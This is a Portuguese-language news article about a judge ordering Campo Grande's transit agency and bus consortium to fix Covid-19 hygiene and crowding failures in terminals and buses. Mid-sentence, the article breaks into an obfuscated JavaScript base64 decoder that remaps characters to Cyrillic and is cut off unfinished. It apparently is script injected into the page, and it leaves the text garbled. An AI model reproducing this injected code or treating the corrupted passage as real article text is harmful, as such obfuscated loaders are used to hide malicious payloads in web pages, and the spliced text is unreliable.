Promotores alegam que concessionário do transporte coletivo não está cumprindo determinações de combate à Covid-19
O desembargador Marcelo Câmara Rasslan deu prazo de 10 dias para que a Agência Municipal de Transporte e Trânsito (Agetran) e o Consórcio Guaicurus regularizem diversas falhas do plano de biossegurança para evitar que os usuários do transporte coletivo sejam contaminados pela Covid-19 nos terminais e dentro dos ônibus.
Rasslan atendeu recurso interposto pelo Ministério Publico de Mato Grosso do Sul em ação civil pública.
Entre as medidas que o desembargador determinou que o Consórcio Guaicurus e a Agetran cumpram neste período está o imediato reparo nas pias instaladas nos terminais. Em muitas delas, quando funcionavam, não havia sabonete líquido disponível. Também não havia papel toalha ou qualquer outro dispositivo para secagem das mãos.
O Consórcio Guaicurus e a Agetran também deverão retomar as ações para evitar as aglomerações de passageiros dentro dos ônibus e nos espaços de embarque e desembarque dos terminais de transbordo.
Conforme o Ministério Público de Mato Grosso do Sul, autor do recurso que deu origem à decisão, nas vistorias realizadas neste mês de agosto, além das irregularidades citadas acima, também foi constatado que o Terminal Bandeirantes, um dos mais cheios, abriu uma plataforma que estava em reforma. As filas, porém, continuavam em todos os terminais.
Os promotores de Justiça também constataram que o Consórcio Guaicurus e a Agetran colocaram dispensador de álcool em gel nos terminais. Os dispensadores, porém, não estavam abastecidos durante a vistoria. Túneis e cabines de desinfecção estavam desativados.
A decisão de Marcelo Raslan saiu após o Ministério Público do Estado de Mato Grosso do Sul, por meio dos Promotores de Justiça Filomena Aparecida Depolito Fluminham e Fabricio Proença de Azambuja, interpor Agravo de Instrumento function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
Via Correio do Estado
